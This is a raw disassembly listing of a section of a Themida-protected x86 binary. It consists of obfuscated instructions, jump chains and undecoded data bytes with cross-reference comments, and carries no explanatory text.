Themida_:005493EBj mov edx, 3DAA7D3Ah add edx, 0BDEA3Eh add eax, edx pop edx mov ebx, eax pop eax push 4FE8h mov [esp], edi jmp loc_54A976 ; --------------------------------------------------------------------------- db 81h, 0CFh, 93h dd 0F38533Dh, 0FF8C688Dh, 0D9F781FFh, 0B639D3FFh db 5Dh, 89h, 0EBh ; --------------------------------------------------------------------------- loc_55254B: ; CODE XREF: Themida_:0054F989j jmp loc_555F8D ; --------------------------------------------------------------------------- dd 42474FFh, 8B2434FFh, 10E92404h db 35h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55255F: ; CODE XREF: Themida_:00551483j xor edi, eax pop eax jmp loc_54E405 ; --------------------------------------------------------------------------- db 66h dd 5224048Bh, 0C2815A54h, 4, 0FF6C8FE9h, 0E9505AFFh, 0FFFFDF21h ; --------------------------------------------------------------------------- loc_552580: ; CODE XREF: Themida_:005523D2j add ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp jmp loc_54E604 ; --------------------------------------------------------------------------- dw 0C589h dd 8904EC83h, 0CFE92434h, 89FFFFB0h, 0E6892434h, 0FFA19AE9h db 0FFh ; --------------------------------------------------------------------------- loc_5525A9: ; CODE XREF: Themida_:0054AD1Bj mov edx, [esp] add esp, 4 jmp loc_552A89 ; --------------------------------------------------------------------------- dd 0E9242489h, 0FFFFBF11h ; --------------------------------------------------------------------------- loc_5525BC: ; CODE XREF: Themida_:0054FEB4j mov eax, [esp] push edx push 4B40h jmp loc_54B9E7 ; --------------------------------------------------------------------------- loc_5525CA: ; CODE XREF: Themida_:005539A0j mov [esp], ebp mov ebp, esp add ebp, 4 push 2B6Fh mov [esp], edx push 2 pop edx add ebp, 1A7F30CFh sub ebp, 2BA629ECh add ebp, edx add ebp, 2BA629ECh sub ebp, 1A7F30CFh jmp loc_55063D ; --------------------------------------------------------------------------- loc_552602: ; CODE XREF: Themida_:0054A996j add eax, 46045D21h xor edx, eax pop eax jmp loc_54AF7D ; --------------------------------------------------------------------------- db 81h dd 67424CF3h, 9AF3816Ch, 0F7671B51h, 0C3814BD3h, 13DD4631h dd 0A3DAF381h, 0DD89508Eh, 28C5815Bh, 15EC70Ch, 28ED81D5h dd 8B5EC70Ch, 0C4812414h, 4, 0E91C6F21h, 25B5h, 18D468h dd 24048900h, 8E2352B8h, 33892D71h, 0E0C17030h, 0BD555303h dd 56734258h, 815DEB89h, 556C6BC3h, 0F3814365h, 0C4FC9D5Eh dd 55BD829h, 0D8FABBF5h, 8158C509h, 6A7AF1CDh, 3EDC15Fh dd 1EE95357h db 3 dup(0) ; --------------------------------------------------------------------------- loc_552693: ; CODE XREF: Themida_:0054CCECj sub edx, 557B69E2h pop ebp jmp loc_54A6BB ; --------------------------------------------------------------------------- loc_55269F: ; CODE XREF: Themida_:00555EBDj push 35EDh mov [esp], ecx mov ecx, 3FCh jmp loc_5489A6 ; --------------------------------------------------------------------------- db 0BBh, 60h, 63h dd 0E3C12D49h, 80C38106h, 0F05B041h, 2EB08Ch, 70CB8100h dd 0F55564Ah, 1E3E84h, 0D92EE900h, 0C481FFFFh, 4, 5259E828h dd 0FF71C6E9h db 0FFh ; --------------------------------------------------------------------------- loc_5526E5: ; CODE XREF: Themida_:0054B7C8j pop esp mov [esp], eax mov ax, 1353h jmp loc_54CBB3 ; --------------------------------------------------------------------------- dw 1C33h dd 241C3124h, 5C241C33h, 22DCE9h, 5BF58000h, 0E959EA30h dd 0FFFFD5C7h, 4868E9D0h, 0E9000028h, 0FFFFBC5Dh, 5CC68h dd 241C8900h, 42474FFh, 0E9241C8Bh, 0FFFFDFDAh, 4EA81h dd 0EC830000h, 24148904h, 42474FFh, 0FFCEFDE9h db 0FFh ; --------------------------------------------------------------------------- loc_552741: ; CODE XREF: Themida_:0054D87Bj add ebx, 1B03264Dh jbe loc_554534 sub ebx, 394407B8h jl loc_54D5E8 xor ebx, 547CBE4Bh jmp loc_54D7D2 ; --------------------------------------------------------------------------- loc_552764: ; CODE XREF: Themida_:00550E8Aj mov [esp], ebp mov ebp, 527A4CD3h add ebp, 3440072Bh xor ebp, 438E33DBh jp loc_54A944 shr ebp, 1 push ecx jmp loc_5528B8 ; --------------------------------------------------------------------------- dw 0FFB2h dd 285AD788h, 1C8B66FEh, 2C48324h, 0FFCF3AE9h db 0FFh ; --------------------------------------------------------------------------- loc_552799: ; CODE XREF: Themida_:0054B943j xchg esi, [esp] pop esp jmp loc_5542BA ; --------------------------------------------------------------------------- dw 8B66h dd 0E957240Ch, 0FFFF90A3h, 0E958C701h, 0FFFFD24Ah ; --------------------------------------------------------------------------- loc_5527B4: ; CODE XREF: Themida_:00552FD9j push dword ptr [esp] pop eax add esp, 4 add esi, edi jmp loc_550E53 ; --------------------------------------------------------------------------- loc_5527C2: ; CODE XREF: Themida_:005514F7j push edx mov edx, 24h add edx, edi xor [edx], ecx pop edx xor ecx, [edi+24h] xor [edi+24h], ecx loc_5527D3: ; CODE XREF: Themida_:0054956Ej push ecx sub esp, 4 mov [esp], ebx jmp loc_54A5CA ; --------------------------------------------------------------------------- db 0B2h dd 0C7B551F0h, 44FE5166h, 59660124h, 8068E580h, 0EDE966E5h dd 0C1FFFFDDh, 5E902E6h, 66000003h, 5624048Bh, 91268h dd 24248900h, 4240481h, 5E000000h, 7D73B850h, 91057683h dd 1897C82h, 505158C6h, 591AEDB8h, 6437B956h, 0D9E9D6E2h dd 89FFFF85h, 6DB9240Ch, 551EC66Ch, 0A030F2BDh, 5DE82937h dd 0F205C829h, 5937A030h, 0DA4C2405h, 2DD82914h, 14DA4C24h dd 1B4568h, 0CC08E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_552862: ; CODE XREF: Themida_:0054EADCj sub esp, 4 mov [esp], ecx mov ch, 13h jmp loc_54D0DD ; --------------------------------------------------------------------------- loc_55286F: ; CODE XREF: Themida_:0054914Fj mov ebp, 45607BE6h xor eax, ebp jmp loc_54D8B8 ; --------------------------------------------------------------------------- loc_55287B: ; CODE XREF: Themida_:0054B6B6j push edx mov edx, 6C98074Fh or edx, 0B011839h jnb loc_551C56 and edx, 29826C13h jno loc_549445 loc_552899: ; CODE XREF: Themida_:0054AF57j xchg ebp, [esp] pop esp pop edx push edx push esi jmp loc_548A6E ; --------------------------------------------------------------------------- db 5Dh, 55h, 68h dd 0D1Dh, 0FFB71BE9h db 0FFh ; --------------------------------------------------------------------------- loc_5528B1: ; CODE XREF: Themida_:0054913Ej mov bl, 17h jmp loc_5503F1 ; --------------------------------------------------------------------------- loc_5528B8: ; CODE XREF: Themida_:00552781j mov ecx, 0EA003FFh xor ebp, ecx pop ecx jmp loc_54D1A5 ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 0E5242C81h, 0E93DDA4Fh, 1A74h, 5C240433h, 4BB0F66h dd 46E99C24h db 60h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5528E3: ; CODE XREF: Themida_:00552460j ; Themida_:005534AAj mov ebp, [esp] add esp, 4 push 4C38h mov [esp], edi push dword ptr [esp+4] pop edi jmp loc_5558D7 ; --------------------------------------------------------------------------- loc_5528FB: ; CODE XREF: Themida_:005550FEj jl loc_54FC4E inc ebx neg ebx or ebx, 63193382h jmp loc_551435 ; --------------------------------------------------------------------------- loc_55290F: ; CODE XREF: Themida_:005543ECj add esi, 0FFFFFFFFh xor esi, 47E71F5h jge loc_555049 xor esi, 9D1FDBD2h jmp loc_554D61 ; --------------------------------------------------------------------------- loc_552929: ; CODE XREF: Themida_:0054C3B2j ; Themida_:0054CFB4j mov edx, 4 sub esi, edx pop edx xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp mov [esp], edi jmp loc_54D6E4 ; --------------------------------------------------------------------------- loc_552943: ; CODE XREF: Themida_:0054A235j jmp loc_548929 ; --------------------------------------------------------------------------- dd 5B545358h, 696E957h db 2 dup(0) ; --------------------------------------------------------------------------- loc_552952: ; CODE XREF: Themida_:0054EE61j sub edx, 170E7ED0h sub edx, 49A467CEh add edx, esi add edx, 49A467CEh jmp loc_54FB13 ; --------------------------------------------------------------------------- loc_55296B: ; CODE XREF: Themida_:00552F09j add eax, ebp mov ebp, [esp] add esp, 4 jmp loc_54FD05 ; --------------------------------------------------------------------------- loc_55297B: ; CODE XREF: Themida_:0054DC62j push ecx mov ecx, 24h add ecx, edi jmp loc_5537F3 ; --------------------------------------------------------------------------- loc_552988: ; CODE XREF: Themida_:0054F51Bj pop ecx push dword ptr [esp] pop edx add esp, 4 jmp loc_549CE5 ; --------------------------------------------------------------------------- loc_552995: ; CODE XREF: Themida_:0054F5ADj add edi, 4 sub esp, 4 mov [esp], ebx push edi mov edi, 70ED5088h neg edi jge loc_553687 xor edi, 8F12AF7Ah mov ebx, edi pop edi add edi, 0E1042DEh add edi, ebx sub edi, 0E1042DEh mov ebx, [esp] add esp, 4 xor edi, [esp] jmp loc_550A8A ; --------------------------------------------------------------------------- loc_5529D4: ; CODE XREF: Themida_:0054F7EAj ; Themida_:00553D69j mov [esp], ax mov ah, 2Eh push 5CE9h mov [esp], edx jmp loc_54AF71 ; --------------------------------------------------------------------------- loc_5529E7: ; CODE XREF: Themida_:00553AC4j add bl, dh add bl, 18h pop edx movzx eax, al jmp loc_555144 ; --------------------------------------------------------------------------- db 53h, 0BBh, 33h dd 4B6C9733h, 0FFDAE4E9h db 0FFh ; --------------------------------------------------------------------------- loc_552A01: ; CODE XREF: Themida_:005516F7j or ebp, esi jmp loc_55040F ; --------------------------------------------------------------------------- loc_552A08: ; CODE XREF: Themida_:005507AAj pop eax pop dword ptr [esp] mov esp, [esp] ror byte ptr [esp], cl pushf jmp loc_548929 ; --------------------------------------------------------------------------- loc_552A18: ; CODE XREF: Themida_:00553EEAj neg dl xchg ch, dl not ch push ax mov ah, ch mov ch, dl mov dl, ah jmp loc_5555AC ; --------------------------------------------------------------------------- db 4 dd 58C7007Ch, 0C9E9F700h db 0B1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_552A37: ; CODE XREF: Themida_:0054F7F2j push edi mov edi, 48580A10h xor edi, 16441CD6h add esi, edi jmp loc_55035D ; --------------------------------------------------------------------------- dw 474Fh dd 0E902E7C1h, 2A96h ; --------------------------------------------------------------------------- loc_552A54: ; CODE XREF: Themida_:0054EE4Ej mov ebx, 4 add eax, 50493866h add eax, ebx sub eax, 50493866h jmp loc_54DD4D ; --------------------------------------------------------------------------- dw 820Fh dd 0FFFF85FDh, 8904EC83h, 2AE9241Ch, 40FFFFA3h db 89h, 0F5h, 5Dh ; --------------------------------------------------------------------------- loc_552A7F: ; CODE XREF: Themida_:00552174j push 31A0058h jmp loc_5541B5 ; --------------------------------------------------------------------------- loc_552A89: ; CODE XREF: Themida_:005525AFj push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp jmp loc_54E8F5 ; --------------------------------------------------------------------------- loc_552AA1: ; CODE XREF: Themida_:0054FB35j add esi, 4 sub esi, 4 push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] mov esp, [esp] mov [esp], edi push dword ptr [esp+4] jmp loc_548E26 ; --------------------------------------------------------------------------- db 83h, 0ECh, 4 dd 2ECDE9h, 19810F00h, 0E9FFFF99h, 0FFFFF28Ch, 0B9240C89h dd 2 db 52h ; --------------------------------------------------------------------------- loc_552AE1: ; CODE XREF: Themida_:0054CB1Dj mov ebp, [esp] add esp, 4 push dword ptr [esp] pop ebx jmp loc_54E8B5 ; --------------------------------------------------------------------------- loc_552AF0: ; CODE XREF: Themida_:00551AE1j add esp, 4 push 5B99h mov [esp], eax push esp jmp loc_553474 ; --------------------------------------------------------------------------- dd 6BA8F681h, 0C8E9341Dh db 8Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_552B0F: ; CODE XREF: Themida_:005541F1j mov ecx, [esp] add esp, 4 push eax mov eax, 308F69ABh sub eax, 40C0163Ch not eax xor eax, 1030AC94h jmp loc_54ABCC ; --------------------------------------------------------------------------- loc_552B2C: ; CODE XREF: Themida_:0054C882j pop ecx sub edx, 4 xchg edx, [esp] pop esp mov [esp], edi push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], ecx push 3EAF412Bh mov ecx, [esp] add esp, 4 add ecx, 0C150BF15h jmp loc_554879 ; --------------------------------------------------------------------------- loc_552B60: ; CODE XREF: Themida_:005494E1j jmp loc_548929 ; --------------------------------------------------------------------------- loc_552B65: ; CODE XREF: Themida_:0055064Dj shr al, 6 sub al, 74h jmp loc_5551FF ; --------------------------------------------------------------------------- loc_552B6F: ; CODE XREF: Themida_:00550F21j push eax jmp loc_549CAB ; --------------------------------------------------------------------------- loc_552B75: ; CODE XREF: Themida_:0054F7D5j sub esp, 4 mov [esp], edi mov edi, 7036779Ch mov esi, 67324393h xor esi, edi jmp loc_54CC8D ; --------------------------------------------------------------------------- loc_552B8F: ; CODE XREF: Themida_:loc_555E07j not bl jmp loc_552C54 ; --------------------------------------------------------------------------- dw 0E281h dd 20E04E7Fh, 732E9h db 0 ; --------------------------------------------------------------------------- loc_552BA1: ; CODE XREF: Themida_:0054F709j pop ecx add esp, 4 or edx, eax shl edx, 1 push ebx sub esp, 4 mov [esp], ebp jmp loc_552404 ; --------------------------------------------------------------------------- loc_552BB8: ; CODE XREF: Themida_:00549FEDj sub ecx, 51CF15C8h pop eax and ebx, ecx push dword ptr [esp] jmp loc_54D68A ; --------------------------------------------------------------------------- db 0FFh, 77h, 1Ch dd 0D359669Dh, 0E99C241Ch, 0FFFF5D51h, 24048B66h, 370A68h dd 24048900h, 1EF2E9h db 0 ; --------------------------------------------------------------------------- loc_552BE9: ; CODE XREF: Themida_:0054F100j add edi, 4 jmp loc_555A22 ; --------------------------------------------------------------------------- loc_552BF4: ; CODE XREF: Themida_:loc_54C970j or eax, 8D95173h add eax, 8F05483h mov ebp, eax pop eax xor ebp, 1E783044h push eax mov eax, 0E457E9D0h jmp loc_5534A5 ; --------------------------------------------------------------------------- loc_552C12: ; CODE XREF: Themida_:005557D8j jmp loc_548929 ; --------------------------------------------------------------------------- db 0B9h dd 104D4662h, 81D9F741h, 5B5E3FE9h, 0AAC1813Eh, 0E9827471h dd 7AFh ; --------------------------------------------------------------------------- loc_552C30: ; CODE XREF: Themida_:00548B6Ej push ebx mov ebx, 40450D18h jmp loc_5558EE ; --------------------------------------------------------------------------- loc_552C3B: ; CODE XREF: Themida_:0054AE8Dj xor edx, eax xor eax, edx jmp loc_54F5C1 ; --------------------------------------------------------------------------- dd 0E95BDD28h, 0FFFF726Ah, 0E9240C89h, 0FFFFD58Dh ; --------------------------------------------------------------------------- loc_552C54: ; CODE XREF: Themida_:00552B91j push dword ptr [edi+1Ch] popf pop cx rcl dword ptr [esp], cl pushf jmp loc_548929 ; --------------------------------------------------------------------------- loc_552C63: ; CODE XREF: Themida_:0054A765j pop ecx mov ebx, [esp] jmp loc_553A0D ; --------------------------------------------------------------------------- dd 0D4E5F381h, 0DD010AB8h, 4C5815Bh, 55000000h, 42474FFh dd 6E1FE95Dh, 2C8BFFFFh, 4C48324h, 5C243C87h, 2404A30Fh dd 0F508E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_552C9A: ; CODE XREF: Themida_:0054D5F5j pop eax jmp loc_551628 ; --------------------------------------------------------------------------- loc_552CA0: ; CODE XREF: Themida_:00551BA7j sub esi, 4 push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] jmp loc_5495B9 ; --------------------------------------------------------------------------- loc_552CB1: ; CODE XREF: Themida_:00549AA0j sub eax, 5A761FEEh add eax, edi add eax, 5A761FEEh jmp loc_554552 ; --------------------------------------------------------------------------- loc_552CC2: ; CODE XREF: Themida_:0055221Cj mov esi, esp add esi, 4 jmp loc_54E2CA ; --------------------------------------------------------------------------- db 89h dd 8DBD55E2h, 8114792Ch, 572388F5h, 0DED815Dh, 81542202h dd 81CB8C5h, 3EF58166h, 810E6174h, 8AA276C5h, 0E9EA01AAh dd 12B6h, 89242C89h, 2206E9E5h db 2 dup(0) ; --------------------------------------------------------------------------- loc_552D06: ; CODE XREF: Themida_:loc_54FB0Ej ; Themida_:00551AF3j mov ebp, [esp] add esp, 4 add esi, ecx pop ecx sub esp, 4 mov [esp], edx push esi push 157Dh mov [esp], ebp mov ebp, 2FCE45D4h push ebx mov ebx, 54AA243Ch xor ebx, 6C7B5728h jmp loc_54CFAB ; --------------------------------------------------------------------------- loc_552D3A: ; CODE XREF: Themida_:00553B2Cj add ah, bh jmp loc_54F0F6 ; --------------------------------------------------------------------------- db 81h, 0C3h, 0B7h dd 1323B4Ah, 0B7EB81D3h, 8B323B4Ah, 0C4812414h, 4, 815BD831h dd 30331EC3h, 51C30175h, 3144BD55h, 0C8E937D4h db 62h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_552D6F: ; CODE XREF: Themida_:0054F0D1j add dword ptr [esp], 57D97C2Ah pop eax sub eax, 57D97C2Ah jmp loc_54DC9E ; --------------------------------------------------------------------------- loc_552D81: ; CODE XREF: Themida_:0055219Bj mov ecx, 0C2C8A6C2h xor ecx, esi pop esi push ebx mov ebx, 36882A3Bh add ecx, ebx jmp loc_550215 ; --------------------------------------------------------------------------- loc_552D96: ; CODE XREF: Themida_:00549291j mov edi, 4 jmp loc_54F3AE ; --------------------------------------------------------------------------- loc_552DA0: ; CODE XREF: Themida_:0054FAF9j shr ebx, 5 jns loc_555DDD xor ebx, 101F7E5Ah jmp loc_550A8A ; --------------------------------------------------------------------------- dd 2751EA81h, 0FA010790h, 7BB9B850h, 0B95136E8h, 31785CE8h dd 159C831h, 3C8B58C2h, 4C48324h, 0E9241487h, 0FFFF7049h ; --------------------------------------------------------------------------- loc_552DDC: ; CODE XREF: Themida_:00550DE8j push edx mov edx, 81C0D801h add eax, edx pop edx push 50E4h mov [esp], ebx push edi mov edi, eax push edi mov ebx, [esp] add esp, 4 mov edi, [esp] jmp loc_550744 ; --------------------------------------------------------------------------- dw 0FF52h dd 5A042474h, 0FF8B1CE9h db 0FFh ; --------------------------------------------------------------------------- loc_552E0D: ; CODE XREF: Themida_:0054A971j dec ah push dx mov dh, 2Ch jmp loc_550C52 ; --------------------------------------------------------------------------- dd 9C40E95Fh, 0E286FFFFh, 0E286D4F6h, 0F8E9E2D0h, 0C0FFFF6Bh dd 0E95307EDh, 0FFFF979Ch ; --------------------------------------------------------------------------- loc_552E34: ; CODE XREF: Themida_:0055435Fj ; Themida_:005547C7j jmp loc_54DFE3 ; --------------------------------------------------------------------------- loc_552E39: ; CODE XREF: Themida_:0054F19Bj push esp pop edi add edi, 4 jmp loc_54A5B1 ; --------------------------------------------------------------------------- loc_552E46: ; CODE XREF: Themida_:0054A5FFj mov si, 2DCFh neg si jmp loc_5532BC ; --------------------------------------------------------------------------- dw 0C68h dd 8900005Eh, 62B62414h, 178B6866h, 241C8966h, 90E9F388h dd 0BD00002Bh, 0FFFFFFFFh, 815DEF29h, 0C8FD1AEFh, 2DBB5384h dd 8161F032h, 3068BFEBh, 51F3815Ah, 813E441Fh, 985DBC3h dd 5BDD2931h, 23E9FD29h db 0EEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_552E9B: ; CODE XREF: Themida_:00555F0Bj sub al, ch pop ecx add al, ch push edx push cx mov ch, 0DBh mov dl, ch mov cx, [esp] add esp, 2 shl dl, 8 shl dl, 4 xor dl, 53h add al, dl mov edx, [esp] push ebx jmp loc_551592 ; --------------------------------------------------------------------------- loc_552EC2: ; CODE XREF: Themida_:loc_54CAE8j shl esi, 2 jnp loc_548B1E push edi jmp loc_555E59 ; --------------------------------------------------------------------------- loc_552ED1: ; CODE XREF: Themida_:0054A772j push edx jmp loc_54E4E8 ; --------------------------------------------------------------------------- loc_552ED7: ; CODE XREF: Themida_:0054D7CDj add bl, 9Eh pop ecx jmp loc_54D578 ; --------------------------------------------------------------------------- loc_552EE0: ; CODE XREF: Themida_:0055584Aj mov [esp], esi push 7502h mov [esp], ebx push dword ptr [esp] pop esi add esp, 4 sub esp, 4 mov [esp], esi mov eax, [esp] jmp loc_54EBB0 ; --------------------------------------------------------------------------- loc_552F00: ; CODE XREF: Themida_:00553848j sub ebx, 0BF512F66h add ebp, ebx pop ebx jmp loc_55296B ; --------------------------------------------------------------------------- dw 10B9h dd 411AA64Ah, 8102E1C1h, 1C3053C1h, 59CD31CFh, 0B2F9ED81h dd 0EB31DDCBh, 8BDD315Dh, 8956241Ch, 0BFD6E9E6h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_552F36: ; CODE XREF: Themida_:00548B01j add dword ptr [esp], 4BB00F31h pop edx sub edx, 4BB00F31h pop ebp or [edi+1Ch], edx pop edx push ecx push 6921h mov [esp], esp add dword ptr [esp], 4 pop ecx add ecx, 4 push 3A70h mov [esp], edx mov edx, 4 sub ecx, edx pop edx push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] pop esp jmp loc_55453D ; --------------------------------------------------------------------------- loc_552F7F: ; CODE XREF: Themida_:0054F855j mov [esp], edx mov dh, cl mov bl, dh pop edx pop ecx shl bl, 3 jz loc_553E9F jmp loc_555EDA ; --------------------------------------------------------------------------- dw 0EB01h dd 4A9EB81h, 335D43B2h, 0EDE9241Ch db 0F2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_552FA7: ; CODE XREF: Themida_:00553317j jmp loc_54AE38 ; --------------------------------------------------------------------------- dd 71DCF581h, 81555EFCh, 507E2404h, 32E91BF2h db 13h, 2 dup(0) ; --------------------------------------------------------------------------- loc_552FBF: ; CODE XREF: Themida_:loc_54923Ej neg eax shl eax, 3 xor eax, 6D24A46Fh mov edi, eax mov eax, [esp] add esp, 4 push eax mov eax, 220951E3h sub edi, eax jmp loc_5527B4 ; --------------------------------------------------------------------------- dw 8B66h dd 0E9572404h, 0FFFF8244h, 4BFh, 5FFB0100h, 4BD55h, 0C3810000h dd 43B204A9h, 0FFFF95E9h db 0FFh ; --------------------------------------------------------------------------- loc_553001: ; CODE XREF: Themida_:005500E6j ; Themida_:loc_550EAAj mov esp, [esp] jmp loc_54BF54 ; --------------------------------------------------------------------------- loc_553009: ; CODE XREF: Themida_:0054E25Cj mov ecx, [esp] add esp, 4 add edi, ecx push edx mov edx, 4C41442Bh push ebx mov ebx, 312F41C5h add edi, ebx pop ebx sub edi, edx push ebp mov ebp, 312F41C5h sub edi, ebp pop ebp pop edx std push 2A14h mov [esp], eax push 42BA1757h pop eax push edx mov edx, 3D5B749Ah jmp loc_555753 ; --------------------------------------------------------------------------- loc_553046: ; CODE XREF: Themida_:0054C322j jmp loc_55313E ; --------------------------------------------------------------------------- db 66h dd 83240C8Bh, 148904ECh, 815A5424h, 4C2h, 0E0895000h, 405h dd 4E88300h, 0E9240487h, 0FFFF8101h, 3166AD66h, 0BCD0E9D8h dd 0E2C1FFFFh, 98B95104h, 296CE662h, 0E28159CAh, 7E843D18h dd 0FFAB4FE9h db 0FFh ; --------------------------------------------------------------------------- loc_553091: ; CODE XREF: Themida_:00548D9Cj shl esi, 8 add esi, 57C15169h sub esi, 0AC77A571h sub ebp, esi jmp loc_54E7CB ; --------------------------------------------------------------------------- loc_5530A7: ; CODE XREF: Themida_:00548E49j pop edi add ebx, 29F465E3h add ebx, eax sub ebx, 29F465E3h push esi push ebp mov ebp, 6DC45464h jmp loc_550D3C ; --------------------------------------------------------------------------- loc_5530C2: ; CODE XREF: Themida_:00550442j xor edx, eax xor [esp], edx xor edx, [esp] xor [esp], edx jmp loc_54DD40 ; --------------------------------------------------------------------------- loc_5530D2: ; CODE XREF: Themida_:0055082Cj xor eax, edx xor edx, eax xor eax, edx xor edx, eax xor eax, edx xor edx, eax sub esp, 4 mov [esp], eax not dword ptr [esp] push dword ptr [esp] pop eax push esi mov esi, esp jmp loc_555B1B ; --------------------------------------------------------------------------- loc_5530F3: ; CODE XREF: Themida_:005544C5j add ebx, 4EA41D68h inc ebx jnp loc_54ED6B inc ebx add ebx, 55235375h sub ebx, 714ED077h mov edi, ebx pop ebx sub ecx, 32D72DD0h add ecx, edi add ecx, 32D72DD0h pop edi mov [ecx], al mov ecx, [esp] jmp loc_54A5C2 ; --------------------------------------------------------------------------- loc_553129: ; CODE XREF: Themida_:005513C9j push ebx push edi mov edi, esp add edi, 4 jmp loc_553B31 ; --------------------------------------------------------------------------- dd 0A30DE95Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55313E: ; CODE XREF: Themida_:loc_553046j xor ebp, 0CA7EDEB0h mov ebx, ebp pop ebp sub esi, ebx jmp loc_55556A ; --------------------------------------------------------------------------- dw 8951h dd 4C181E1h, 83000000h, 0C8704C1h, 89535C24h, 2BA52E3h dd 811E5F3Bh, 5F3B06F2h, 7CDFE91Eh, 0C15EFFFFh, 0DBF704EBh dd 0BFBCEB81h, 0DF01FF5Eh, 83241C8Bh, 0A1E904C4h db 0D4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55318B: ; CODE XREF: Themida_:00550644j mov bl, 0DBh mov cl, bl mov ebx, [esp] jmp loc_553E2E ; --------------------------------------------------------------------------- loc_553197: ; CODE XREF: Themida_:00551224j push dword ptr [esp] jmp loc_54F5A6 ; --------------------------------------------------------------------------- loc_55319F: ; CODE XREF: Themida_:00550C4Dj pop edx shr ebp, 6 push 0 jmp loc_554780 ; --------------------------------------------------------------------------- loc_5531AD: ; CODE XREF: Themida_:00549D35j push eax mov eax, 320E6733h mov edi, eax pop eax add edi, 2E0D67h xor edi, 64377C72h jmp loc_54FD90 ; --------------------------------------------------------------------------- db 0BBh dd 1AB37B06h, 0C966852h, 148B2A79h, 4C48124h, 0F7000000h dd 0CA8142D2h, 4DB65605h, 8F758D0Fh, 0F281FFFFh, 38FA7393h dd 15AD189h, 241C8BD9h, 8104C483h, 9A6D7FC5h, 9D57E913h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_553206: ; CODE XREF: Themida_:00551A29j push ecx mov ecx, esp push edx mov edx, 6213111Ch and edx, 781A46A8h or edx, 6A225E5Eh jmp loc_54B396 ; --------------------------------------------------------------------------- loc_553220: ; CODE XREF: Themida_:loc_55499Fj ; Themida_:00555F95j pop ebp add esi, 0AF40026Bh push ebx mov ebx, 662C4637h dec ebx jmp loc_54F4D4 ; --------------------------------------------------------------------------- loc_553233: ; CODE XREF: Themida_:0054C2C4j push eax push esi mov esi, ebp jmp loc_555F31 ; --------------------------------------------------------------------------- loc_55323C: ; CODE XREF: Themida_:loc_55150Aj or edx, 2FD45A3Ch neg edx shl edx, 7 shl edx, 2 jmp loc_5555F6 ; --------------------------------------------------------------------------- loc_55324F: ; CODE XREF: Themida_:005497CAj push eax mov eax, 66053B80h inc eax push edx mov edx, 174474E2h jmp loc_5541B5 ; --------------------------------------------------------------------------- db 0E9h, 0A7h, 0B7h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_553266: ; CODE XREF: Themida_:0055481Aj add [esp+4], ebp sub dword ptr [esp+4], 627A0A60h mov ebp, [esp] add esp, 4 push dword ptr [esp] pop eax push ebx mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_5492C0 ; --------------------------------------------------------------------------- dd 0D6F6F386h, 70E9F386h db 0AEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55329B: ; CODE XREF: Themida_:0054E129j pop ecx sub esp, 4 mov [esp], ebp mov ebp, 77E707E0h add edx, 4A837454h add edx, ebp push esi mov esi, 57DB1F63h not esi jmp loc_5510AE ; --------------------------------------------------------------------------- loc_5532BC: ; CODE XREF: Themida_:00552E4Dj shl si, 5 sub si, 1 add si, 5DADh add si, 0AB0Dh jmp loc_551499 ; --------------------------------------------------------------------------- db 0Fh dd 0FF5D6987h, 0E25E9FFh, 0E5890000h, 5D8FC5C6h, 4BA5257h dd 89000000h, 24148BD7h, 4C481h, 0FA010000h, 81243C8Bh dd 4C4h, 0B3E95100h, 81FFFFE0h, 4C4h, 24348700h, 0E09E95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_553316: ; CODE XREF: Themida_:0054A8A7j dec eax jg loc_552FA7 jmp loc_54BE2D ; --------------------------------------------------------------------------- loc_553322: ; CODE XREF: Themida_:00550A40j pop dword ptr [esp] mov esp, [esp] push 5DBh mov [esp], esi jmp loc_54ABE0 ; --------------------------------------------------------------------------- db 89h, 0C7h, 89h dd 63E95FFAh db 27h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55333F: ; CODE XREF: Themida_:00554343j xchg eax, ecx push ecx push 0B1h mov [esp], esi pop ecx pop esi xor esi, edi jmp loc_54D0BC ; --------------------------------------------------------------------------- dw 4D5Dh dd 5102EDC1h, 0CB5A28B9h, 59CD2914h, 505DE831h, 0C7085C68h dd 0C329581Dh, 582434FFh, 0FFB34DE9h db 0FFh ; --------------------------------------------------------------------------- loc_553375: ; CODE XREF: Themida_:0054AE7Dj ; Themida_:00552395j pop esi add edx, 0CCC68510h add ebp, edx pop edx push ebx push edi push eax push 235044A9h jmp loc_5505DE ; --------------------------------------------------------------------------- loc_55338C: ; CODE XREF: Themida_:00551C87j mov [esp], esi mov esi, 76A502B6h jmp loc_553D81 ; --------------------------------------------------------------------------- db 81h, 0C4h, 2 dd 0E9000000h, 0FFFF981Eh, 0FF2434FFh, 83582434h, 895604C4h dd 46851E6h, 0E9000000h, 0FFFFE608h ; --------------------------------------------------------------------------- loc_5533BC: ; CODE XREF: Themida_:0054D9EFj pop cx jmp loc_5513CE ; --------------------------------------------------------------------------- db 8Bh dd 0C483242Ch, 503E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5533CE: ; CODE XREF: Themida_:00550099j pop ebx sub edx, 273B2496h add esi, edx mov edx, [esp] jmp loc_552465 ; 